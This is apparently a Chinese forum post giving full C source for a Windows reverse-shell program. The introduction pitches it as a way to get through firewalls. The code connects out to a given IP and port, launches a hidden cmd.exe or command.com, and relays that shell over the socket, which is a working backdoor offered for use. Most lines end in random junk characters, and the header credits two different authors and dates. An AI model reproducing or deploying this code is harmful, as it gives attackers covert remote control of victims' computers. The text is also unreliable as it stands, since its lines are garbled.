这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 apD=>O
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/* ============================== _c
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Rebound port in Windows NT K}E7|gdG
By wind,2006/7 h<'5q&y
===============================*/ 1~5q:X
#include H4'DL'83
#include ''OInfd?
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#pragma comment(lib,"wsock32.lib") b}Hl$V(uD
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void OutputShell(); !H|82:`t+
SOCKET sClient; Ryba[Fz4Di
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3E!<p
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void main(int argc,char **argv) .d~]e2x
{ V l~Y
WSADATA stWsaData; xPDA475Cw3
int nRet; F\=Rm
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) FL#g9U>
{ Uy59zB2|=
printf("Useage:\n\rRebound DestIP DestPort\n"); r3H}*Wpf
return; P A6KX5
} nJ*mEB
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WSAStartup(MAKEWORD(2,2),&stWsaData); De
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |v$%V#Bo
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stSaiClient.sin_family = AF_INET; UhSh(E8p>
stSaiClient.sin_port = htons(0); 71l"m^Z3zy
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5Hwo)S]r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ cF_;hD|YZ
printf("Bind Socket Failed!\n"); 6/mkJj+"
return; i,'Ka[6
} O| 1f^_S/
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stSaiServer.sin_family = AF_INET; 50`iCD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EO].qN-8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^5;vx
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xA&
{ Z\|u9DO
printf("Connect Error!"); h
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return; ;v,9v;T
} Jm %ynW
OutputShell(); %Ui{=920
} %wt2F-u
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void OutputShell() ` /I bWu
{ !f\?c7
char szBuff[1024]; Gpdv]SON{
SECURITY_ATTRIBUTES stSecurityAttributes; dU ,)TKQ
OSVERSIONINFO stOsversionInfo; $bZu^d,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *|LbbRu
STARTUPINFO stStartupInfo; \6SMn6a4
char *szShell; 6.U"_%
PROCESS_INFORMATION stProcessInformation; X(GmiH /E
unsigned long lBytesRead; (!ZQ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <H5n>3#pH
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9Qzjqq:"Li
stSecurityAttributes.lpSecurityDescriptor = 0; y Y>-MoF/t
stSecurityAttributes.bInheritHandle = TRUE; 1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Sc&)~h}YF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1z~k1usRK
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zBk_-'z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .vv5t
stStartupInfo.wShowWindow = SW_HIDE; FOCoiocPi
stStartupInfo.hStdInput = hReadPipe; p!+L
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "_K}rI6(t
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GetVersionEx(&stOsversionInfo); ${hyNt
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switch(stOsversionInfo.dwPlatformId) |H ^w>mk
{ !}>eo2$r^
case 1: F2IC$:e
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szShell = "command.com"; 8yE!7$Mj
break;
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default: %{R_^Y8t
szShell = "cmd.exe"; |x &Z~y
break; XVQL.A7
} ?^LG
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8#+`9GI
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send(sClient,szMsg,77,0); o" |O
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while(1) `[WyHO|8
{ j#N(1}r=1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }*iAE>;
if(lBytesRead) 89zuL18V
{ OuB2 x=B
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QF\kPk(CtD
send(sClient,szBuff,lBytesRead,0); KHvIN}V5?3
} "@.Z#d|Y
else QTVa
{ 3PsxOb+
lBytesRead=recv(sClient,szBuff,1024,0); d,)}+G
if(lBytesRead<=0) break; [ZuVUOm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AK6=Ydu
} B ,V(LTE
} +.w[6
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return; c#=&!FRe
}